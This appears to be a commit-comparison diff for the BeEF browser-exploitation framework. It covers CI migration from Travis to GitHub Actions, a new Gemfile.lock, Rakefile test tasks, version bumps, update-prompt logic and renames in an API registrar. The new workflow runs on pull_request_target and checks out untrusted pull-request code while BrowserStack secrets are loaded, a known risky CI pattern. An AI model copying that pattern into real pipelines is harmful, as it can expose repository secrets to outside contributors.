Compare commits
23 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
c6bb893c32 | ||
|
|
6f6124e40f | ||
|
|
d7a3ffb2c3 | ||
|
|
c8595b09b7 | ||
|
|
e9b113226d | ||
|
|
be9b7655fe | ||
|
|
a6fcb1a14f | ||
|
|
784e6db9ce | ||
|
|
0d0e51452c | ||
|
|
08faef394b | ||
|
|
1aa86bd64a | ||
|
|
b7108bc069 | ||
|
|
a674c9d25f | ||
|
|
99c6287a67 | ||
|
|
2794bc3cf4 | ||
|
|
541933a45f | ||
|
|
9cef23be22 | ||
|
|
7c3e342981 | ||
|
|
3b34e428cc | ||
|
|
ea65554a50 | ||
|
|
dc68ed9390 | ||
|
|
1ae320c3bc | ||
|
|
43e3fa5432 |
2
.github/ISSUE_TEMPLATE.md
vendored
2
.github/ISSUE_TEMPLATE.md
vendored
@@ -5,7 +5,7 @@ Verify first that your issue/request has not been posted previously:
|
||||
* https://github.com/beefproject/beef/issues
|
||||
* https://github.com/beefproject/beef/wiki/FAQ
|
||||
|
||||
Ensure you're using the [latest version of BeEF](https://github.com/beefproject/beef/releases/tag/v0.5.2.0).
|
||||
Ensure you're using the [latest version of BeEF](https://github.com/beefproject/beef/releases/tag/v0.5.3.0).
|
||||
|
||||
Please do your best to provide as much information as possible. It will help substantially if you can enable and provide debugging logs with your issue. Instructions for enabling debugging logs are below:
|
||||
|
||||
|
||||
59
.github/workflows/github_actions.yml
vendored
Normal file
59
.github/workflows/github_actions.yml
vendored
Normal file
@@ -0,0 +1,59 @@
|
||||
name: 'BrowserStack Test'
|
||||
|
||||
on:
|
||||
pull_request_target:
|
||||
branches: [ master ]
|
||||
|
||||
jobs:
|
||||
approve:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Approve
|
||||
run: echo For security reasons, all pull requests need to be approved first before running any automated CI.
|
||||
|
||||
ubuntu-job:
|
||||
name: 'BrowserStack Test on Ubuntu'
|
||||
runs-on: ubuntu-latest # Can be self-hosted runner also
|
||||
environment:
|
||||
name: Integrate Pull Request
|
||||
env:
|
||||
GITACTIONS: true
|
||||
steps:
|
||||
|
||||
- name: 'BrowserStack Env Setup' # Invokes the setup-env action
|
||||
uses: browserstack/github-actions/setup-env@master
|
||||
with:
|
||||
username: ${{ secrets.BROWSERSTACK_USERNAME }}
|
||||
access-key: ${{ secrets.BROWSERSTACK_ACCESS_KEY }}
|
||||
|
||||
- name: 'BrowserStack Local Tunnel Setup' # Invokes the setup-local action
|
||||
uses: browserstack/github-actions/setup-local@master
|
||||
with:
|
||||
local-testing: start
|
||||
local-identifier: random
|
||||
|
||||
- name: 'Checkout the repository'
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
ref: ${{ github.event.pull_request.head.sha }}
|
||||
fetch-depth: 2
|
||||
|
||||
- name: 'Setting up Ruby'
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: 2.7.2 # Not needed with a .ruby-version file
|
||||
|
||||
- name: 'Build and run tests'
|
||||
run: |
|
||||
sudo apt update
|
||||
sudo apt install libcurl4 libcurl4-openssl-dev
|
||||
bundle config unset --local without
|
||||
bundle config set --local with 'test' 'development'
|
||||
bundle install
|
||||
bundle exec rake browserstack --trace
|
||||
|
||||
- name: 'BrowserStackLocal Stop' # Terminating the BrowserStackLocal tunnel connection
|
||||
uses: browserstack/github-actions/setup-local@master
|
||||
with:
|
||||
local-testing: stop
|
||||
1
.gitignore
vendored
1
.gitignore
vendored
@@ -9,7 +9,6 @@ custom-config.yaml
|
||||
.rvmrc
|
||||
beef.log
|
||||
|
||||
*.lock
|
||||
|
||||
extensions/metasploit/msf-exploits.cache
|
||||
|
||||
|
||||
99
.travis.yml
99
.travis.yml
@@ -1,99 +0,0 @@
|
||||
language: ruby
|
||||
rvm:
|
||||
- 2.5.3
|
||||
- 2.6.0
|
||||
- 2.6.3
|
||||
- 2.6.5
|
||||
- 2.7.0
|
||||
notifications:
|
||||
email:
|
||||
recipients:
|
||||
- wade@bindshell.net
|
||||
on_success: always
|
||||
on_failure: always
|
||||
branches:
|
||||
only:
|
||||
- master
|
||||
- browserstack
|
||||
before_script:
|
||||
- RUBY_VERSION=/bin/bash rvm current
|
||||
- sed -i -E 's/system\((.*?)\)/""/g' /home/travis/.rvm/gems/$RUBY_VERSION/gems/browserstack-local-1.3.0/lib/browserstack/local.rb
|
||||
env:
|
||||
- CONFIG_FILE=osx/catalina/catalina_chrome_41.config.yml
|
||||
- CONFIG_FILE=osx/catalina/catalina_chrome_59.config.yml
|
||||
- CONFIG_FILE=osx/catalina/catalina_chrome_81.config.yml
|
||||
- CONFIG_FILE=osx/catalina/catalina_firefox_11.config.yml
|
||||
- CONFIG_FILE=osx/catalina/catalina_firefox_68esr.config.yml
|
||||
- CONFIG_FILE=osx/catalina/catalina_firefox_75.config.yml
|
||||
- CONFIG_FILE=osx/catalina/catalina_safari_13.config.yml
|
||||
- CONFIG_FILE=osx/elcapitan/elcapitan_chrome_14.config.yml
|
||||
- CONFIG_FILE=osx/elcapitan/elcapitan_chrome_81.config.yml
|
||||
- CONFIG_FILE=osx/elcapitan/elcapitan_firefox_7.config.yml
|
||||
- CONFIG_FILE=osx/elcapitan/elcapitan_firefox_75.config.yml
|
||||
- CONFIG_FILE=osx/elcapitan/elcapitan_safari_9-1.config.yml
|
||||
- CONFIG_FILE=osx/snowleopard/snowleopard_chrome_14.config.yml
|
||||
- CONFIG_FILE=osx/snowleopard/snowleopard_chrome_35.config.yml
|
||||
- CONFIG_FILE=osx/snowleopard/snowleopard_chrome_49.config.yml
|
||||
- CONFIG_FILE=osx/snowleopard/snowleopard_firefox_7.config.yml
|
||||
- CONFIG_FILE=osx/snowleopard/snowleopard_firefox_38esr.config.yml
|
||||
- CONFIG_FILE=osx/snowleopard/snowleopard_firefox_42.config.yml
|
||||
- CONFIG_FILE=osx/snowleopard/snowleopard_safari_5-1.config.yml
|
||||
- CONFIG_FILE=windows/win10/win10_chrome_37.config.yml
|
||||
- CONFIG_FILE=windows/win10/win10_chrome_59.config.yml
|
||||
- CONFIG_FILE=windows/win10/win10_firefox_32.config.yml
|
||||
- CONFIG_FILE=windows/win10/win10_firefox_68esr.config.yml
|
||||
- CONFIG_FILE=windows/win10/win10_firefox_75.config.yml
|
||||
- CONFIG_FILE=windows/win10/win10_edge_81.config.yml
|
||||
- CONFIG_FILE=windows/win10/win10_ie_11.config.yml
|
||||
- CONFIG_FILE=windows/win8/win8_chrome_22.config.yml
|
||||
- CONFIG_FILE=windows/win8/win8_chrome_81.config.yml
|
||||
- CONFIG_FILE=windows/win8/win8_firefox_32.config.yml
|
||||
- CONFIG_FILE=windows/win8/win8_firefox_75.config.yml
|
||||
- CONFIG_FILE=windows/win8/win8_edge_81.config.yml
|
||||
- CONFIG_FILE=windows/win8/win8_ie_10.config.yml
|
||||
- CONFIG_FILE=windows/xp/xp_chrome_14.config.yml
|
||||
- CONFIG_FILE=windows/xp/xp_chrome_28.config.yml
|
||||
- CONFIG_FILE=windows/xp/xp_chrome_43.config.yml
|
||||
- CONFIG_FILE=windows/xp/xp_firefox_16.config.yml
|
||||
- CONFIG_FILE=windows/xp/xp_firefox_26.config.yml
|
||||
- CONFIG_FILE=windows/xp/xp_firefox_45.config.yml
|
||||
- CONFIG_FILE=windows/xp/xp_ie_7.config.yml
|
||||
jobs:
|
||||
include:
|
||||
- name: "Full Test Suite 2.5.3"
|
||||
rvm: 2.5.3
|
||||
env: CONFIG_FILE=windows/win10/win10_chrome_81.config.yml
|
||||
script: bundle exec rspec
|
||||
- name: "Full Test Suite 2.6.0"
|
||||
rvm: 2.6.0
|
||||
env: CONFIG_FILE=windows/win10/win10_chrome_81.config.yml
|
||||
script: bundle exec rspec
|
||||
- name: "Full Test Suite 2.6.3"
|
||||
rvm: 2.6.3
|
||||
env: CONFIG_FILE=windows/win10/win10_chrome_81.config.yml
|
||||
script: bundle exec rspec
|
||||
- name: "Full Test Suite 2.6.5"
|
||||
rvm: 2.6.5
|
||||
env: CONFIG_FILE=windows/win10/win10_chrome_81.config.yml
|
||||
script: bundle exec rspec
|
||||
- name: "Full Test Suite 2.7.0"
|
||||
rvm: 2.7.0
|
||||
env: CONFIG_FILE=windows/win10/win10_chrome_81.config.yml
|
||||
script: bundle exec rspec
|
||||
script:
|
||||
- bundle exec rspec --tag run_on_browserstack
|
||||
addons:
|
||||
apt:
|
||||
packages:
|
||||
- libsqlite3-dev
|
||||
- build-essential
|
||||
- patch
|
||||
- ruby-dev
|
||||
- zlib1g-dev
|
||||
- liblzma-dev
|
||||
- libcurl4-openssl-dev
|
||||
browserstack:
|
||||
username:
|
||||
secure: "Yj+a2jY56dFqJwXdU6JdSXeKhhS01CiToBoB922SXVnA2D2WclGOFiTi0YrkAS9PuOJX5AjC9eUw7VFUcp8DiLmeDGLWo8klYrWQoJOH55FmSWKjdkqDopJFYr0ZXk/ZuXzzpuMvKkCT5MGFnySXyheTW8aUj33GetJ6/sNq5BoA36jH04OE3iPgdBaFPRNDVXEIWLaLUDQsAyZsHNNYC+/cj3cxjXLHu+mbNuXsXEHgrHJ2A94EWdrdGODWL8mRtlSDNkIaYHZKCBnUlHWwCwBitLsjhzdy0YFrIGVbX96FV+C41sjPWLFjZhjAaNDuJ3FoTplbzFNvrw5oxQAAI8ZZqUwF4MRIrQbN8BLFVISX7JooQjfyrNVWvhpZWGPB4GZTN4CThrlQ7G7CJRYDVyqZ7nen6y0+osBr9DRKN+EemlVG73aNP3mXaZr6BmS1BpQJ6tlqDdLCvC5j/PdguKwvt4EmgHA8Pzn20UElV+8BPblcYGjsWplk/cxW1adW0pu2vIxskKxDKJ/ReY3l5yUpiQPZHbuMidq2ffSX0B3yALe7vx+3AvMb2Fk9yWh52EVJXPkVlLvhP7wDd22MHCemvrC2nLhkVR4MglLWs7dZKHswExlKJdWK4OSXprOStjZSA47sjF2nPdztWTpdI77SKaBcoLGR5WOV+JtcQgk="
|
||||
access_key:
|
||||
secure: "KHlR8NHPnoF9U1CJKgUhS1YhPSeTILI2lIu+JilQ5Xeo7rcbWg9lT2xwQQNnLYrISG1vC6OzsbkcnC/3ZnAv7jYff4iUTc3Syszs5wIhhvnhBx4qCxM+/UD78TJNQ0AuY7NOIK6OXcmwbpZrOBUojZkooEkc8bpG56nb2v7dOIafFLV+tv9xcc5DtMSfh7FavhqRFRO+PCybqOW8yWMc2NiMYy3p9jKBC3qYRqme4hx1NRrLo5BZQ+UIcO3Rf+vAjUP+3gGuhWeu2kDCvZYDnI2GN1/WacRVY2cqDPGiYlD6pHNMqU0raYKyWdK0QD4KwYpfjxBGRmwBfz8xU8KWUEZ3P11mJn+BvIt0qe3VpomR0/60/fok1BEso3nea8oENXur5G/5SOfpkPLjzd4P4f7JYnST1PeeWwpzV305wktDv9aLc+Ne9cFCaxSaaCnOk82rKDhtnktwnK7krFj1lM6oygtOD+arAytPKaURRgV2izaoophiXuLFb+9XKSkMGtJ3e+rQATonnDPaFTzouKaXSEPxZQQ2bnsp9tETAReDrYIwPHuYL778UbbBICgNk54CZSfTeRFLroRGNPb/0gPXbu6SryPnknfCMNd7ksSndVoyKsDo1plTHQJGVweP2hxR3R/9syk9Z6DU6H5H3dc/RbkkmoRPVooUtR/mZ/c="
|
||||
3
Gemfile
3
Gemfile
@@ -20,11 +20,10 @@ gem 'term-ansicolor', :require => 'term/ansicolor'
|
||||
gem 'json'
|
||||
gem 'rubyzip', '>= 1.2.2'
|
||||
gem 'espeak-ruby', '>= 1.0.4' # Text-to-Voice
|
||||
gem 'nokogiri', '>= 1.11.1'
|
||||
gem 'rake', '>= 12.3.3'
|
||||
gem 'otr-activerecord', '>= 1.4.2'
|
||||
gem 'sqlite3'
|
||||
gem 'rubocop', '~> 1.20.0', require: false
|
||||
gem 'rubocop', '~> 1.22.3', require: false
|
||||
|
||||
# Geolocation support
|
||||
group :geoip do
|
||||
|
||||
298
Gemfile.lock
Normal file
298
Gemfile.lock
Normal file
@@ -0,0 +1,298 @@
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
activemodel (6.1.4.1)
|
||||
activesupport (= 6.1.4.1)
|
||||
activerecord (6.1.4.1)
|
||||
activemodel (= 6.1.4.1)
|
||||
activesupport (= 6.1.4.1)
|
||||
activesupport (6.1.4.1)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 1.6, < 2)
|
||||
minitest (>= 5.1)
|
||||
tzinfo (~> 2.0)
|
||||
zeitwerk (~> 2.3)
|
||||
addressable (2.8.0)
|
||||
public_suffix (>= 2.0.2, < 5.0)
|
||||
ansi (1.5.0)
|
||||
archive-zip (0.12.0)
|
||||
io-like (~> 0.3.0)
|
||||
ast (2.4.2)
|
||||
async (1.30.1)
|
||||
console (~> 1.10)
|
||||
nio4r (~> 2.3)
|
||||
timers (~> 4.1)
|
||||
async-dns (1.3.0)
|
||||
async-io (~> 1.15)
|
||||
async-io (1.32.2)
|
||||
async
|
||||
browserstack-local (1.3.0)
|
||||
buftok (0.2.0)
|
||||
byebug (11.1.3)
|
||||
capybara (3.36.0)
|
||||
addressable
|
||||
matrix
|
||||
mini_mime (>= 0.1.3)
|
||||
nokogiri (~> 1.8)
|
||||
rack (>= 1.6.0)
|
||||
rack-test (>= 0.6.3)
|
||||
regexp_parser (>= 1.5, < 3.0)
|
||||
xpath (~> 3.2)
|
||||
childprocess (3.0.0)
|
||||
coderay (1.1.3)
|
||||
concurrent-ruby (1.1.9)
|
||||
console (1.13.1)
|
||||
fiber-local
|
||||
curb (0.9.11)
|
||||
daemons (1.4.1)
|
||||
diff-lcs (1.4.4)
|
||||
domain_name (0.5.20190701)
|
||||
unf (>= 0.0.5, < 1.0.0)
|
||||
em-websocket (0.5.2)
|
||||
eventmachine (>= 0.12.9)
|
||||
http_parser.rb (~> 0.6.0)
|
||||
equalizer (0.0.11)
|
||||
erubis (2.7.0)
|
||||
espeak-ruby (1.0.4)
|
||||
event_emitter (0.2.6)
|
||||
eventmachine (1.2.7)
|
||||
execjs (2.8.1)
|
||||
ffi (1.15.4)
|
||||
ffi-compiler (1.0.1)
|
||||
ffi (>= 1.0.0)
|
||||
rake
|
||||
fiber-local (1.0.0)
|
||||
geckodriver-helper (0.24.0)
|
||||
archive-zip (~> 0.7)
|
||||
hashie (4.1.0)
|
||||
hashie-forbidden_attributes (0.1.1)
|
||||
hashie (>= 3.0)
|
||||
http (4.4.1)
|
||||
addressable (~> 2.3)
|
||||
http-cookie (~> 1.0)
|
||||
http-form_data (~> 2.2)
|
||||
http-parser (~> 1.2.0)
|
||||
http-accept (1.7.0)
|
||||
http-cookie (1.0.4)
|
||||
domain_name (~> 0.5)
|
||||
http-form_data (2.3.0)
|
||||
http-parser (1.2.3)
|
||||
ffi-compiler (>= 1.0, < 2.0)
|
||||
http_parser.rb (0.6.0)
|
||||
i18n (1.8.10)
|
||||
concurrent-ruby (~> 1.0)
|
||||
io-console (0.5.9)
|
||||
io-like (0.3.1)
|
||||
irb (1.3.7)
|
||||
reline (>= 0.2.7)
|
||||
json (2.6.1)
|
||||
matrix (0.4.2)
|
||||
maxmind-db (1.1.1)
|
||||
memoizable (0.4.2)
|
||||
thread_safe (~> 0.3, >= 0.3.1)
|
||||
method_source (1.0.0)
|
||||
mime-types (3.3.1)
|
||||
mime-types-data (~> 3.2015)
|
||||
mime-types-data (3.2021.0901)
|
||||
mini_mime (1.1.2)
|
||||
mini_portile2 (2.6.1)
|
||||
minitest (5.14.4)
|
||||
mojo_magick (0.6.6)
|
||||
msfrpc-client (1.1.2)
|
||||
msgpack (~> 1)
|
||||
msgpack (1.4.2)
|
||||
multipart-post (2.1.1)
|
||||
mustermann (1.1.1)
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
naught (1.1.0)
|
||||
netrc (0.11.0)
|
||||
nio4r (2.5.8)
|
||||
nokogiri (1.12.5)
|
||||
mini_portile2 (~> 2.6.1)
|
||||
racc (~> 1.4)
|
||||
otr-activerecord (2.0.3)
|
||||
activerecord (>= 4.0, < 7.1)
|
||||
hashie-forbidden_attributes (~> 0.1)
|
||||
parallel (1.21.0)
|
||||
parseconfig (1.1.2)
|
||||
parser (3.0.2.0)
|
||||
ast (~> 2.4.1)
|
||||
power_assert (2.0.1)
|
||||
pry (0.13.1)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
pry-byebug (3.9.0)
|
||||
byebug (~> 11.0)
|
||||
pry (~> 0.13.0)
|
||||
public_suffix (4.0.6)
|
||||
qr4r (0.6.1)
|
||||
mojo_magick (~> 0.6.5)
|
||||
rqrcode_core (~> 0.1)
|
||||
racc (1.6.0)
|
||||
rack (2.2.3)
|
||||
rack-protection (2.1.0)
|
||||
rack
|
||||
rack-test (1.1.0)
|
||||
rack (>= 1.0, < 3)
|
||||
rainbow (3.0.0)
|
||||
rake (13.0.6)
|
||||
rdoc (6.3.2)
|
||||
regexp_parser (2.1.1)
|
||||
reline (0.2.7)
|
||||
io-console (~> 0.5)
|
||||
rest-client (2.1.0)
|
||||
http-accept (>= 1.7.0, < 2.0)
|
||||
http-cookie (>= 1.0.2, < 2.0)
|
||||
mime-types (>= 1.16, < 4.0)
|
||||
netrc (~> 0.8)
|
||||
rexml (3.2.5)
|
||||
rqrcode_core (0.2.0)
|
||||
rr (3.0.7)
|
||||
rspec (3.10.0)
|
||||
rspec-core (~> 3.10.0)
|
||||
rspec-expectations (~> 3.10.0)
|
||||
rspec-mocks (~> 3.10.0)
|
||||
rspec-core (3.10.1)
|
||||
rspec-support (~> 3.10.0)
|
||||
rspec-expectations (3.10.1)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.10.0)
|
||||
rspec-mocks (3.10.2)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.10.0)
|
||||
rspec-support (3.10.2)
|
||||
rubocop (1.22.3)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 3.0.0.0)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
regexp_parser (>= 1.8, < 3.0)
|
||||
rexml
|
||||
rubocop-ast (>= 1.12.0, < 2.0)
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 1.4.0, < 3.0)
|
||||
rubocop-ast (1.12.0)
|
||||
parser (>= 3.0.1.1)
|
||||
ruby-progressbar (1.11.0)
|
||||
ruby2_keywords (0.0.5)
|
||||
rubyzip (2.3.2)
|
||||
rushover (0.3.0)
|
||||
json
|
||||
rest-client
|
||||
selenium-webdriver (3.142.7)
|
||||
childprocess (>= 0.5, < 4.0)
|
||||
rubyzip (>= 1.2.2)
|
||||
simple_oauth (0.3.1)
|
||||
sinatra (2.1.0)
|
||||
mustermann (~> 1.0)
|
||||
rack (~> 2.2)
|
||||
rack-protection (= 2.1.0)
|
||||
tilt (~> 2.0)
|
||||
slack-notifier (2.4.0)
|
||||
sqlite3 (1.4.2)
|
||||
sync (0.5.0)
|
||||
term-ansicolor (1.7.1)
|
||||
tins (~> 1.0)
|
||||
test-unit (3.5.1)
|
||||
power_assert
|
||||
test-unit-context (0.5.1)
|
||||
test-unit (>= 2.4.0)
|
||||
test-unit-full (0.0.5)
|
||||
test-unit
|
||||
test-unit-context
|
||||
test-unit-notify
|
||||
test-unit-rr
|
||||
test-unit-runner-tap
|
||||
test-unit-notify (1.0.4)
|
||||
test-unit (>= 2.4.9)
|
||||
test-unit-rr (1.0.5)
|
||||
rr (>= 1.1.1)
|
||||
test-unit (>= 2.5.2)
|
||||
test-unit-runner-tap (1.1.2)
|
||||
test-unit
|
||||
thin (1.8.1)
|
||||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thread_safe (0.3.6)
|
||||
tilt (2.0.10)
|
||||
timers (4.3.3)
|
||||
tins (1.29.1)
|
||||
sync
|
||||
twitter (7.0.0)
|
||||
addressable (~> 2.3)
|
||||
buftok (~> 0.2.0)
|
||||
equalizer (~> 0.0.11)
|
||||
http (~> 4.0)
|
||||
http-form_data (~> 2.0)
|
||||
http_parser.rb (~> 0.6.0)
|
||||
memoizable (~> 0.4.0)
|
||||
multipart-post (~> 2.0)
|
||||
naught (~> 1.0)
|
||||
simple_oauth (~> 0.3.0)
|
||||
tzinfo (2.0.4)
|
||||
concurrent-ruby (~> 1.0)
|
||||
uglifier (4.2.0)
|
||||
execjs (>= 0.3.0, < 3)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
unf_ext (0.0.7.7)
|
||||
unicode-display_width (2.1.0)
|
||||
webrick (1.7.0)
|
||||
websocket (1.2.9)
|
||||
websocket-client-simple (0.3.0)
|
||||
event_emitter
|
||||
websocket
|
||||
xmlrpc (0.3.2)
|
||||
webrick
|
||||
xpath (3.2.0)
|
||||
nokogiri (~> 1.8)
|
||||
zeitwerk (2.5.1)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
DEPENDENCIES
|
||||
ansi
|
||||
async-dns
|
||||
browserstack-local (~> 1.3)
|
||||
capybara
|
||||
curb
|
||||
em-websocket
|
||||
erubis
|
||||
espeak-ruby (>= 1.0.4)
|
||||
eventmachine
|
||||
execjs
|
||||
geckodriver-helper
|
||||
irb
|
||||
json
|
||||
maxmind-db
|
||||
mime-types
|
||||
msfrpc-client
|
||||
otr-activerecord (>= 1.4.2)
|
||||
parseconfig
|
||||
pry-byebug
|
||||
qr4r
|
||||
rack (>= 2.2.3)
|
||||
rack-protection (>= 2.0.0)
|
||||
rake (>= 12.3.3)
|
||||
rdoc
|
||||
rest-client (>= 2.0.1)
|
||||
rspec
|
||||
rubocop (~> 1.22.3)
|
||||
rubyzip (>= 1.2.2)
|
||||
rushover
|
||||
selenium-webdriver
|
||||
sinatra (>= 2.0.2)
|
||||
slack-notifier
|
||||
sqlite3
|
||||
term-ansicolor
|
||||
test-unit
|
||||
test-unit-full
|
||||
thin
|
||||
twitter (>= 5.0.0)
|
||||
uglifier (>= 2.7.2)
|
||||
websocket-client-simple (~> 0.3.0)
|
||||
xmlrpc
|
||||
|
||||
BUNDLED WITH
|
||||
2.1.4
|
||||
18
Rakefile
18
Rakefile
@@ -23,6 +23,22 @@ RSpec::Core::RakeTask.new(:spec) do |task|
|
||||
task.rspec_opts = ['--tag ~run_on_browserstack']
|
||||
end
|
||||
|
||||
RSpec::Core::RakeTask.new(:browserstack) do |task|
|
||||
task.rspec_opts = ['--tag run_on_browserstack']
|
||||
end
|
||||
|
||||
RSpec::Core::RakeTask.new(:bs) do |task|
|
||||
configs = Dir["spec/support/browserstack/**/*.yml"]
|
||||
configs.each do |config|
|
||||
config = config.split('spec/support/browserstack')[1]
|
||||
ENV['CONFIG_FILE'] = config
|
||||
puts "\e[45m#{config.upcase}\e[0m"
|
||||
task.rspec_opts = ['--tag run_on_browserstack']
|
||||
Rake::Task['browserstack'].invoke
|
||||
Rake::Task['browserstack'].reenable
|
||||
end
|
||||
end
|
||||
|
||||
################################
|
||||
# SSL/TLS certificate
|
||||
|
||||
@@ -244,4 +260,4 @@ namespace :db do
|
||||
task :environment do
|
||||
require_relative "beef"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
2
VERSION
2
VERSION
@@ -4,4 +4,4 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
0.5.2.0
|
||||
0.5.4.0-pre
|
||||
|
||||
22
beef
22
beef
@@ -47,21 +47,21 @@ require 'timeout'
|
||||
#
|
||||
# @note Ask user if they would like to update beef
|
||||
#
|
||||
|
||||
if BeEF::Core::Console::CommandLine.parse[:update_disabled] == false
|
||||
if File.exist?("#{$root_dir}git") && BeEF::Core::Console::CommandLine.parse[:update_disabled] == false
|
||||
if BeEF::Core::Console::CommandLine.parse[:update_auto] == true
|
||||
print "Pulling latest BeEF repository and updating"
|
||||
`git pull && bundle`
|
||||
else
|
||||
print 'Checking latest BeEF repository and updating'
|
||||
`git pull && bundle`
|
||||
elsif `git rev-parse master` != `git rev-parse origin/master`
|
||||
begin
|
||||
answer = Timeout::timeout(5) do
|
||||
print "Would you like to check and download the latest BeEF update? y/n: "
|
||||
Timeout.timeout(5) do
|
||||
puts '-- BeEF Update Available --'
|
||||
print 'Would you like to update to lastest version? y/n: '
|
||||
response = gets
|
||||
`git pull && bundle` if response.strip == 'y'
|
||||
end
|
||||
rescue Timeout::Error
|
||||
puts "\nUpdate Skipped with input timeout"
|
||||
`git pull && bundle` if response.strip == 'y'
|
||||
end
|
||||
rescue Timeout::Error
|
||||
puts "\nUpdate Skipped with input timeout"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
# BeEF Configuration file
|
||||
|
||||
beef:
|
||||
version: '0.5.2.0'
|
||||
version: '0.5.4.0-pre'
|
||||
# More verbose messages (server-side)
|
||||
debug: false
|
||||
# More verbose messages (client-side)
|
||||
@@ -32,7 +32,7 @@ beef:
|
||||
# slow API calls to 1 every api_attempt_delay seconds
|
||||
api_attempt_delay: "0.05"
|
||||
|
||||
# HTTP server
|
||||
# HTTP server
|
||||
http:
|
||||
debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
|
||||
host: "0.0.0.0"
|
||||
|
||||
75
core/api.rb
75
core/api.rb
@@ -6,7 +6,6 @@
|
||||
|
||||
module BeEF
|
||||
module API
|
||||
|
||||
#
|
||||
# Registrar class to handle all registered timed API calls
|
||||
#
|
||||
@@ -24,26 +23,26 @@ module BeEF
|
||||
# Register timed API calls to an owner
|
||||
#
|
||||
# @param [Class] owner the owner of the API hook
|
||||
# @param [Class] c the API class the owner would like to hook into
|
||||
# @param [Class] clss the API class the owner would like to hook into
|
||||
# @param [String] method the method of the class the owner would like to execute
|
||||
# @param [Array] params an array of parameters that need to be matched before the owner will be called
|
||||
#
|
||||
def register(owner, c, method, params = [])
|
||||
unless verify_api_path(c, method)
|
||||
print_error "API Registrar: Attempted to register non-existant API method #{c} :#{method}"
|
||||
def register(owner, clss, method, params = [])
|
||||
unless verify_api_path(clss, method)
|
||||
print_error "API Registrar: Attempted to register non-existant API method #{clss} :#{method}"
|
||||
return
|
||||
end
|
||||
|
||||
if registered?(owner, c, method, params)
|
||||
print_debug "API Registrar: Attempting to re-register API call #{c} :#{method}"
|
||||
if registered?(owner, clss, method, params)
|
||||
print_debug "API Registrar: Attempting to re-register API call #{clss} :#{method}"
|
||||
return
|
||||
end
|
||||
|
||||
id = @count
|
||||
@registry << {
|
||||
'id' => id,
|
||||
'owner' => owner,
|
||||
'class' => c,
|
||||
'id' => id,
|
||||
'owner' => owner,
|
||||
'class' => clss,
|
||||
'method' => method,
|
||||
'params' => params
|
||||
}
|
||||
@@ -56,18 +55,19 @@ module BeEF
|
||||
# Tests whether the owner is registered for an API hook
|
||||
#
|
||||
# @param [Class] owner the owner of the API hook
|
||||
# @param [Class] c the API class
|
||||
# @param [Class] clss the API class
|
||||
# @param [String] method the method of the class
|
||||
# @param [Array] params an array of parameters that need to be matched
|
||||
#
|
||||
# @return [Boolean] whether or not the owner is registered
|
||||
#
|
||||
def registered?(owner, c, method, params = [])
|
||||
def registered?(owner, clss, method, params = [])
|
||||
@registry.each do |r|
|
||||
next unless r['owner'] == owner
|
||||
next unless r['class'] == c
|
||||
next unless r['class'] == clss
|
||||
next unless r['method'] == method
|
||||
next unless is_matched_params? r, params
|
||||
|
||||
return true
|
||||
end
|
||||
false
|
||||
@@ -76,17 +76,18 @@ module BeEF
|
||||
#
|
||||
# Match a timed API call to determine if an API.fire() is required
|
||||
#
|
||||
# @param [Class] c the target API class
|
||||
# @param [Class] clss the target API class
|
||||
# @param [String] method the method of the target API class
|
||||
# @param [Array] params an array of parameters that need to be matched
|
||||
#
|
||||
# @return [Boolean] whether or not the arguments match an entry in the API registry
|
||||
#
|
||||
def matched?(c, method, params = [])
|
||||
def matched?(clss, method, params = [])
|
||||
@registry.each do |r|
|
||||
next unless r['class'] == c
|
||||
next unless r['class'] == clss
|
||||
next unless r['method'] == method
|
||||
next unless is_matched_params? r, params
|
||||
|
||||
return true
|
||||
end
|
||||
false
|
||||
@@ -98,23 +99,24 @@ module BeEF
|
||||
# @param [Integer] id the ID of the API hook
|
||||
#
|
||||
def unregister(id)
|
||||
@registry.delete_if {|r| r['id'] == id }
|
||||
@registry.delete_if { |r| r['id'] == id }
|
||||
end
|
||||
|
||||
#
|
||||
# Retrieves all the owners and ID's of an API hook
|
||||
# @param [Class] c the target API class
|
||||
# @param [Class] clss the target API class
|
||||
# @param [String] method the method of the target API class
|
||||
# @param [Array] params an array of parameters that need to be matched
|
||||
#
|
||||
# @return [Array] an array of hashes consisting of two keys :owner and :id
|
||||
#
|
||||
def get_owners(c, method, params = [])
|
||||
def get_owners(clss, method, params = [])
|
||||
owners = []
|
||||
@registry.each do |r|
|
||||
next unless r['class'] == c
|
||||
next unless r['class'] == clss
|
||||
next unless r['method'] == method
|
||||
next unless is_matched_params? r, params
|
||||
|
||||
owners << { :owner => r['owner'], :id => r['id'] }
|
||||
end
|
||||
owners
|
||||
@@ -126,23 +128,23 @@ module BeEF
|
||||
#
|
||||
# @note This is a security precaution
|
||||
#
|
||||
# @param [Class] c the target API class to verify
|
||||
# @param [String] m the target method to verify
|
||||
# @param [Class] clss the target API class to verify
|
||||
# @param [String] mthd the target method to verify
|
||||
#
|
||||
def verify_api_path(c, m)
|
||||
(c.const_defined?('API_PATHS') && c.const_get('API_PATHS').key?(m))
|
||||
def verify_api_path(clss, mthd)
|
||||
